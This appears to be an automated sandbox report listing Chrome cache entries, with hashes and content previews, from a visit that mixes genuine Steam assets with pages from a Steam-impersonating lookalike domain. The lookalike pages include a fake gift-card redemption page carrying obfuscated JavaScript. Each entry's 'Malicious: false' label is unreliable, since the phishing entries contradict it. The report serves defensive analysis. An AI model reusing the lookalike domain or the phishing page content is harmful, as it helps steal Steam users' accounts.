SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1180 x 645, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	101582
Entropy (8bit):	7.970123560814674
Encrypted:	false
SSDEEP:	3072:5RkTQQ4nc73gMdc+BcBLvWf9GDxUZcUXTg8UQmmX:5dQ4c73je9UDjUPs
MD5:	0307F8A611F6B99C78D9AE9DFB609364
SHA1:	F9ED2F690FC13CE9A7D04673572EB4D8FC8673E5
SHA-256:	0E11D35F8B7AA18C793A790A1C562637EBB8D61FFD842C942A2357AB1FFA5B5A
SHA-512:	EEB6C21C20E5620CF991AD9CA343137814ED23F9C0E8F3C45046448F587989CF64949947D24C29207F68ABDEB44E8AF074FA6FB81C34F60595914A299A866B74
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_bg.png
Preview:	.PNG........IHDR..............'.....pHYs.................sRGB.........gAMA......a....cIDATx..}...-.q...A....>.i;.......{..B`..........H...[...6....23z.;......lTOqI..\|&.....%.j=..FrP...L.^."....)G].d...3...Y...4.....@ ..=.r+.[....z.-..\...."..2...p..Q..S..y...<Ty!.'......u.\..\..D]`.-....b../..Xs(y.z...L.(C...yyji.!.j....s.u.........J....X..2O.&..}R.......s.{...0.G...?..;.#.D6.Tv.L:=..!.2......'.2.m.63..........-...z.:).......lhrm4..I.._5...,{i...t.......Qn.3I..@ ..<.F.?...K...Y.c.2/.....X<i.K.n.,.:+.....u4....Io..h.*.U.+DVt.k.?e_.......$..w.P..^..G'...K.Cxm..v.._qo....!A.i...~.-..T.?.pR..m0.d0......#."_D\|.i+.&f0P'.RY.4\.d...H..s...p.Sz.....N...SRt....!7.'.Y..2.;2.+.d>.......OB..yn.....aG+.F.T_.A....D.A.m3.Y........XN.ls&..i.++.M.I_.Ieh....;.".\h..R.f..]...%.i$xyM.....A.....>..o.j4.L.@F..ay...e9..\|..i...N...s.......6..G.4.6..8...u.../.....~..........3.....g..F.~.D<..M..@..p.]y.....e$.....H.V...ns....#.K...v..yz3...;..."..4.(c...{.

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Algol 68 source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3276
Entropy (8bit):	5.553388243206585
Encrypted:	false
SSDEEP:	96:gVRrYJuRrYJMu31/3z5SY2ZVba/vlWmij:gfrsWrsMu31/3dSY2jkl4j
MD5:	4522A2252222088E18051FC411359093
SHA1:	FBFD96E45FCFE5E7CE7F4043407499FB0E960807
SHA-256:	6F8426105449E000CC11B5C2670677F090023C11C7D65BAF4C13C10C3A829141
SHA-512:	A135534B1766CF4CC538E28D6F6EF517A946E62D0D18DB3007071F8F1B6BBE4979F2CD4501AA88019B24B039A0A02932139B8E4C31B109DB41C78A02F6595BCA
Malicious:	false
Reputation:	low
Preview:	../..Copyright (c) 2011, Daniel Guerrero..All rights reserved.....Redistribution and use in source and binary forms, with or without..modification, are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above copyright.. notice, this list of conditions and the following disclaimer... * Redistributions in binary form must reproduce the above copyright.. notice, this list of conditions and the following disclaimer in the.. documentation and/or other materials provided with the distribution.....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND..ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED..WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE..DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY..DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES..(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUB

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	1429
Entropy (8bit):	7.114906411921738
Encrypted:	false
SSDEEP:	24:g9XPYOEocal1hQWwjx82lY2T3+VLHnmbHn4yJ3VZHnLRHn5GY82Df9wIyvcyPO:g9fsIzNn2KhHWHbJ3XHlH5L823yPO
MD5:	1658BD9BCE49908BAC30F075D520DFBC
SHA1:	1174BCC3DA90B32BCD21B75AF923F2C869CEE552
SHA-256:	96A49A32967F0A65E3131A3AA1D493425C15325787448300F64B138D6710F51C
SHA-512:	DD44D33A623F538E27183A7F689B9E97F1E1D85D9A6C09A09532FB6A9D61D13C31FC3B3F2220788092E8FB6E629D4756564C8B8D7EFCD6C430EEC98F592342D3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_twitter.gif
Preview:	GIF89a.............UV\........hin...RTZRSY.........egl...FGN.....;<C......\]crsxTV\;=D?AH68??@G.....ikpY[a............8:A......BDJ......abh...YZ`...sty...LNTMOU......>@FKMS...SU[79@BDKACI57>.........!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:A00F86217F2E11EE954AD5AEB68850C4" xmpMM:DocumentID="xmp.did:A00F86227F2E11EE954AD5AEB68850C4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A00F861F7F2E11EE954AD5AEB68850C4" stRef:documentID="xmp.did:A00F86207F2E11EE954AD5AEB68850C4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	1278
Entropy (8bit):	6.9904915779422545
Encrypted:	false
SSDEEP:	24:+jVgXal1hQWwjx82lY2T3+VVMLoyJ3V+GGY8nLPewOd:zgzNn2KgLrJ3ZL8DdOd
MD5:	A4AD1737E878B031DE37EDF234CB1283
SHA1:	1BCDAAB7E0C225DF693E69704EB7555E120657A5
SHA-256:	B22C73A2ED7BE863D4779BBE6DB4C9D4078C453D7118C0A6F70ACAD0108A9F23
SHA-512:	973404080C1BD98492DAA385E49ED4FF53D847F09F16A18FC3BBB0EBD4FCD5A18175FC32325A2BA93A4E2C39B619070C30C1B9BCF30B37D7DD3EFECDD91018EC
Malicious:	false
Reputation:	low
Preview:	GIF89a.......UV\........RTZ......TV\PRX........8:A\]c.....................................BDKACI...57>!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:95DFDEB47F2E11EE8716FE6E5DEA6C2D" xmpMM:DocumentID="xmp.did:95DFDEB57F2E11EE8716FE6E5DEA6C2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:95DFDEB27F2E11EE8716FE6E5DEA6C2D" stRef:documentID="xmp.did:95DFDEB37F2E11EE8716FE6E5DEA6C2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.............................................................................................

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 554 x 271, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	174185
Entropy (8bit):	7.996405313437837
Encrypted:	true
SSDEEP:	3072:9RJJ+0NcfaVXHbin/ENV96H7aZ4CQwYiGVjrS2lAbl6JXKT8fNRjFLZ:mtnso7e4CFYiGVi1bl6YT8fdZ
MD5:	825E1694B97AF9898298F6796F43FE36
SHA1:	05867DB185940A66F50BDD4F7633AC3288A364ED
SHA-256:	398528C6DBCF5242F48DE48FD93CF2107D53109C2E982D4B2D5EA70EC48C87E8
SHA-512:	BE8C8A4FA2CA04232AC020FCFE9B3C23CE89332BA55033137CB818C0534BAAAFD47283484B35C095DD7FD42306B2040580E8B2AAF35C46AF2D196C32BE9576E8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR............l......pHYs.................sRGB.........gAMA......a.....IDATx.......u.......}.{=.@71...... )q.Iq.%Sf YJ.I.,...;.D6].4R.$.TJ.D..XQY.D.bhJ.hQ"E..I.........4....o~....a.....&.$......{...o....3..p\..........0.{...~.......}.q.]g;Q...p!.E..~....7...y.J.......5~.2.......8O@.4.;.E.+.,m.....h..."...w.!.A..-.!.l;.....W(.NL....xQ.......#DI....{j.L..D.o.....:..f>\.F.[.&. ...9.\.G4,H...!c...G...*..D..N..z.u:..$.....0...rmL...n.T(..p;m&._([W.U..n..0.Q.AE.%q..8F.qQ....Ov.........$+Q.I....3i..I.M6.~V]..j.....d....d./.9..9.n.u:...z."......T..<l.Bg.O..`9.w,.d..(k[<K.C.......+..4K....f.W.".L/S.y..e8.../BY...%L....6\g...L.}../....Y.j....._.K.......?7].7...v...@....#A.L..%..H....T..L...V@.fD<..P.D..O{..8. ..Gi.....J+..2.xsa#...`....&.D[..z.......t... I..Y..v.......B.f..V&S6d.tt...$.:S.....r`uh.m....@..........J..M.g.6.].<..~ .4;K..T.f."..{.p..Q..Z..-..A..]..z~.zH2m,...........P.-k.i...J[<1eP.....h&`Xhs.f..3.,..Ksp......_.,N...\.&v.J....).F.

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	725
Entropy (8bit):	5.1286082831296005
Encrypted:	false
SSDEEP:	12:qTp+09T7cVn2NDUwAzc0w4EXrHFpxw46FpQqsDPQ6VgE/SyBYxGQL:0p+8YuDUwJ0bEbXxb6XaDo6VgE/SN
MD5:	6C849A1CA8D90B54660BA83698AEA6D1
SHA1:	B3A0F0D9A778C6A34B4057DC368A6BDD011FCBE3
SHA-256:	7BBAA58EB6543016804D3C270DA112B6ECD34B726F118CC63120F78E989FA653
SHA-512:	A34B547558B8F55323EA3060779AC5EC2215C6E817EBD2B40D0E9F803E0160E4561CD7AB1ADDB0909F95D6220E0B81E72ADCB2E8B75DE4700EDB67A9EC264C78
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/7d1d7c577e075156525357795806585962505e5c
Preview:	<!doctype html>.<html lang='en'>.<head>..<meta charset='UTF-8' />..<link rel='shortcut icon' type='image/x-icon' href='https://steamcommunity.com/favicon.ico' />..<meta name='viewport' content='width=device-width, initial-scale=1.0' />..<title>Steam</title>..<script crossorigin src='https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js'></script>..<script crossorigin src='https://cdn.jsdelivr.net/npm/react-dom@18.2.0/umd/react-dom.production.min.js'></script>. <script type="module" crossorigin src="/7d1d7c577e0751595d5c574d1a0a6453077b7c7475.js"></script>. <link rel="stylesheet" crossorigin href="/7d1d7c577e0751595d5c574d1a0f6146487e5c726d.css">.</head>.<body>.<div id='root'></div>.</body>.</html>.

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
URL:	"https://store.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider"
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15528)
Category:	downloaded
Size (bytes):	16288
Entropy (8bit):	6.027835283747254
Encrypted:	false
SSDEEP:	384:AvmQ4XVwIgjKMSUaT5vP8pFJ1f8TKhCAGn7BYCaebH/HVVkeSKBjwAHX4wjLI7yl:AvmQqwIgjKM/aT5vP8pFJ1f8TKQAGn7B
MD5:	C27E02B9E64D3A8FAFB63ACEBE7DC4FA
SHA1:	4AE0D8CAB7932D1C335008BF1C0394C560E2FDEA
SHA-256:	0B14B0A57C50AE3AA7DC2EC02313B21B401B8F6D057866FD40E58DCC42BFA1FA
SHA-512:	6E64C005B29B3D74366C4262CB024C7F72BFADA94BF4C38ECD5C75B55004084FCB3941FCF95B800FCBA95B352A1E7D06A788A75D349D35790F1B556FA062044C
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/fact/actual/get
Preview:	<!DOCTYPE html><html lang=""><head>..<meta charset="utf-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<style>. html,. body {. padding: 0;. margin: 0;. height: 100vh;. width: 100vw;. overflow: hidden;. }..</style>..<title>Redeem a Steam Gift Card or Wallet Code</title>. <meta property='og:title' content='Redeem a Steam Gift Card or Wallet Code'>. <link rel='shortcut icon' href='https://steamcommunity.com/favicon.ico' type='image/x-icon'>. <meta property='og:image' content='https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png'>.</head>.<body>.<noscript>You need to enable JavaScript to run this app.</noscript>.<script>var dcbYO6,PIDfATz,Eexfkq1,K35AGQ,QhtqHI,ryEP78y,ULmsoR0,BopZLaM,bJSoVK,lYOAmun,fm58XCn,t2DN9b,q0ebwrW,lx3dBOJ;function oxeEbI(PIDfATz){return dcbYO6[PIDfATz<0x3d?PIDfATz-0xe:PIDfATz<0x62?PIDfATz>0x62?PIDfATz+0x44:PIDfATz<0x3d?PIDfATz-0x63:PIDfATz>

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (355), with CRLF line terminators
Category:	dropped
Size (bytes):	135833
Entropy (8bit):	5.69218613768848
Encrypted:	false
SSDEEP:	3072:JmUG0YLJR5J2hn+FmzYVQwxhG5YLpQuce8YL3vjzxmPCjwjlbKlZNUupM:JmUG0YLJR5J2hmmzYVQwxhG5YLpQYL3C
MD5:	12F4F1A7680F00846F5EFFF0A06F4917
SHA1:	EB16DCA2EB1D74FE99F29B2EE03404E0FD75B9A9
SHA-256:	B4DB2CF524525B37820A32570C9AAC5C23484CBF024B209537DA4625D3C2BEA1
SHA-512:	26B081D5989A7492AF5722DBC29130D73D4E296EB8B8E7C55FEAFFF5EE2832A5A0F337F3DC259759F1F796B6233D57BBED2E4D89E414AD9505A4977827BE1D75
Malicious:	false
Reputation:	low
Preview:	..HelpWizard = {...m_sCurrentPage: null,...m_steamid: '',...m_bUseHistoryAPI: false,...m_bInSearch: false,.....LoadPageFromHash: function( fresh_page_load, url, link_click, search_text ) {....var wizard_url = url;....if ( !wizard_url )....{.....if ( window.location.hash.length < 2 )......wizard_url = 'Home';.....else......wizard_url = window.location.hash.replace( /^#!?/,'');....}........if ( wizard_url.toLowerCase().startsWith('login') )....{.....window.location = "https://help.steampowered.com/ru/login" + wizard_url.slice( 5 );.....return;....}......var page_url = wizard_url;....var iQueryString = wizard_url.indexOf( '?' );....if ( iQueryString >= 0 )....{.....// strip search term out of wizard_url.....var rgQueryParams = iQueryString >= 0 ? $J.deparam( wizard_url.substr( iQueryString + 1 ) ) : {};.......if ( rgQueryParams.text ).....{......page_url = wizard_url.substr( 0, iQueryString );......search_text = rgQueryParams.text;......delete rgQueryParams.text;......var strQuery = $J.pa

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	65
Entropy (8bit):	4.243553829293353
Encrypted:	false
SSDEEP:	3:YIzVEDFLKRUexaLjJp2ERh2in:YIh6KCexSJp2Eein
MD5:	6688D59F1D0B9E116CECA1708A113D0D
SHA1:	D0078C573575A40A584CC92D4CCC5E8AE62AA948
SHA-256:	CACC3C09D432702D237265C156358A0430DD08938AFBCEAF4A444D26340B25E8
SHA-512:	116612441C802EAE5CDFA4441C5757EE48298F865E1FF4E164AE1BA9AB2A0856C7E2E5C023864EEE6963EDA1BB89D6EDCC7951C4B566ECA2AAC989A66EF510A4
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/a6ee8b8370c1415cb6ec9598e252c16b8f95105a30c1/c3836b18f15271feb179564b07a0a7149d6af2227872.js
Preview:	{"message":"Page not found","error":"Not Found","statusCode":404}

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 20, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1096
Entropy (8bit):	6.304821109987511
Encrypted:	false
SSDEEP:	24:j1hpunQWwjx82lY2T32HEV+/obKvKyJ3V+NgcbiPGlDwkNXoVS9v:pitNn2VaJJ3XrmwkNR
MD5:	9144BEC4573DB7B865C7678AC940199A
SHA1:	03F112BA8B6DBD6C3547763C9F195B17F6F6AE87
SHA-256:	18AF5AE91365E0EF0D029CAC6CD819377BC1DAEF5F4D55DBE9767C10C86ADF29
SHA-512:	F11A724F249797B1E9A3500B4EA4B891DDC44C6B3079FF94983513F85E13E1DBA3EB3402A838A78C60D5948B66CFEE8E4D4A03F037D67404D6737FA9D80F11F3
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/arrow_right.png
Preview:	.PNG........IHDR.............V2./....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:6843D610C12A11E4BED2BD54346121FF" xmpMM:DocumentID="xmp.did:6843D611C12A11E4BED2BD54346121FF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6843D60EC12A11E4BED2BD54346121FF" stRef:documentID="xmp.did:6843D60FC12A11E4BED2BD54346121FF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..H.....IDATx.b\..4....J{..i....13).@......4).@.......).@@..w.q.)...~k..-@.O.&.....@l@.&.P..c@.L.&....9@<..f"110.b.w N..8.

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1161
Entropy (8bit):	6.483902966293242
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVNxhpyJ3Vlt8vmG8ll6f7iX:HZNn2lPzoJ3PtQmBY0
MD5:	E406E5A22E4F3CFA580D3BB57420150E
SHA1:	5B381E535BB0CE6003A461F3124FA1238DFBCEDB
SHA-256:	760589F903C5E9BD169B38F941F9A3DC88A23897E9CC5B622D3D91F5C204B9E4
SHA-512:	E33CB7BD10104A1E8C2D3F2B3885D65EF3769F7250445C8341D6D2AD2367749CCDC48DAABE4EA39CB80EE0362AF9D01E48370DB858BA01F956A1A6B8C04217C1
Malicious:	false
Reputation:	low
